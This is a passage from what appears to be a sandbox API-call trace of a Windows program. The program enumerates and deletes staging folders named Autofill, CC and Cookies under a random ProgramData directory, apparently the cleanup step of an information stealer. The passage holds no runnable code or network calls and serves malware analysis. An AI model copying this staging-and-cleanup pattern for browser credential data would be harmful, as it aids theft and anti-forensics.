lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.045] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\.." [0149.045] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.045] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.045] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0149.045] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.045] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.045] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b6df746, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b6df746, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b6df746, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autofill", cAlternateFileName="")) returned 1 [0149.046] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.046] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.046] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="Autofill" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" [0149.046] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.046] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.046] lstrcatW (in: lpString1="\\", lpString2="Autofill" | out: lpString1="\\Autofill") returned="\\Autofill" [0149.046] lstrcmpW (lpString1="Autofill", lpString2=".") returned 1 [0149.046] lstrcmpW (lpString1="Autofill", lpString2="..") returned 1 [0149.046] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" [0149.046] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\*.*" [0149.046] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b6df746, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b6df746, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b6df746, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.046] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" [0149.046] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\" [0149.046] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\." [0149.046] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Autofill" | out: lpString1="\\Autofill") returned="\\Autofill" [0149.046] lstrcatW (in: lpString1="\\Autofill", lpString2="\\" | out: lpString1="\\Autofill\\") returned="\\Autofill\\" [0149.049] lstrcatW (in: lpString1="\\Autofill\\", lpString2="." | out: lpString1="\\Autofill\\.") returned="\\Autofill\\." [0149.049] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.049] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b6df746, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b6df746, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b6df746, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.049] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" [0149.049] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\" [0149.049] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill\\.." [0149.049] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Autofill" | out: lpString1="\\Autofill") returned="\\Autofill" [0149.049] lstrcatW (in: lpString1="\\Autofill", lpString2="\\" | out: lpString1="\\Autofill\\") returned="\\Autofill\\" [0149.049] lstrcatW (in: lpString1="\\Autofill\\", lpString2=".." | out: lpString1="\\Autofill\\..") returned="\\Autofill\\.." [0149.049] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.049] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.049] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b6df746, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b6df746, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b6df746, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.049] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.049] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x3340048 [0149.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0149.049] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x38) returned 0x32bae20 [0149.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", cchWideChar=56, lpMultiByteStr=0x32bae20, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", lpUsedDefaultChar=0x0) returned 56 [0149.050] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba8a0 [0149.050] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bae20 | out: hHeap=0x2360000) returned 1 [0149.050] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.050] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366968 [0149.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366968, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.050] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366968 | out: hHeap=0x2360000) returned 1 [0149.050] PathMatchSpecW (pszFile="Autofill", pszSpec="*.*") returned 1 [0149.050] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x3340048 [0149.050] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340510 [0149.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0149.050] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x38) returned 0x32bb0a0 [0149.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", cchWideChar=56, lpMultiByteStr=0x32bb0a0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill", lpUsedDefaultChar=0x0) returned 56 [0149.050] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba1e0 [0149.050] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb0a0 | out: hHeap=0x2360000) returned 1 [0149.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Autofill", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.050] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa) returned 0x236abd0 [0149.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Autofill", cchWideChar=10, lpMultiByteStr=0x236abd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Autofill", lpUsedDefaultChar=0x0) returned 10 [0149.050] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0149.050] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\autofill"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.050] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba1e0 | out: hHeap=0x2360000) returned 1 [0149.050] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340510 | out: hHeap=0x2360000) returned 1 [0149.050] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.051] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Autofill" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\autofill")) returned 0 [0149.051] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba8a0 | out: hHeap=0x2360000) returned 1 [0149.051] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77b8a9, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77b8a9, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77b8a9, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CC", cAlternateFileName="")) returned 1 [0149.051] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.051] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.051] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="CC" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" [0149.051] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.051] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.051] lstrcatW (in: lpString1="\\", lpString2="CC" | out: lpString1="\\CC") returned="\\CC" [0149.051] lstrcmpW (lpString1="CC", lpString2=".") returned 1 [0149.051] lstrcmpW (lpString1="CC", lpString2="..") returned 1 [0149.051] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" [0149.051] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\*.*" [0149.051] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77b8a9, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77b8a9, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77b8a9, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.051] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" [0149.052] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\" [0149.052] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\." [0149.052] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\CC" | out: lpString1="\\CC") returned="\\CC" [0149.052] lstrcatW (in: lpString1="\\CC", lpString2="\\" | out: lpString1="\\CC\\") returned="\\CC\\" [0149.052] lstrcatW (in: lpString1="\\CC\\", lpString2="." | out: lpString1="\\CC\\.") returned="\\CC\\." [0149.052] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.052] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77b8a9, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77b8a9, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77b8a9, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.052] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" [0149.052] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\" [0149.052] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC\\.." [0149.052] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\CC" | out: lpString1="\\CC") returned="\\CC" [0149.052] lstrcatW (in: lpString1="\\CC", lpString2="\\" | out: lpString1="\\CC\\") returned="\\CC\\" [0149.052] lstrcatW (in: lpString1="\\CC\\", lpString2=".." | out: lpString1="\\CC\\..") returned="\\CC\\.." [0149.052] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.052] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.052] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77b8a9, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77b8a9, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77b8a9, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.052] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0149.052] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x3340048 [0149.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0149.052] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x32) returned 0x32bafe0 [0149.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", cchWideChar=50, lpMultiByteStr=0x32bafe0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", lpUsedDefaultChar=0x0) returned 50 [0149.053] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba738 [0149.053] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bafe0 | out: hHeap=0x2360000) returned 1 [0149.053] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.053] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366948 [0149.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2366948, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.053] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366948 | out: hHeap=0x2360000) returned 1 [0149.053] PathMatchSpecW (pszFile="CC", pszSpec="*.*") returned 1 [0149.053] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x3340048 [0149.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0149.053] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x32) returned 0x32baae0 [0149.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", cchWideChar=50, lpMultiByteStr=0x32baae0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC", lpUsedDefaultChar=0x0) returned 50 [0149.053] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba198 [0149.053] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32baae0 | out: hHeap=0x2360000) returned 1 [0149.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\CC", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.053] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366968 [0149.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\CC", cchWideChar=4, lpMultiByteStr=0x2366968, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\CC", lpUsedDefaultChar=0x0) returned 4 [0149.053] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366968 | out: hHeap=0x2360000) returned 1 [0149.053] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.053] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0149.054] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.054] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\CC" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cc")) returned 0 [0149.054] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba738 | out: hHeap=0x2360000) returned 1 [0149.054] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77a3f1, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77a3f1, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b77a3f1, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0149.054] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.054] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.054] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="Cookies" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" [0149.054] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.054] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.054] lstrcatW (in: lpString1="\\", lpString2="Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0149.054] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0149.054] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0149.054] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" | out: 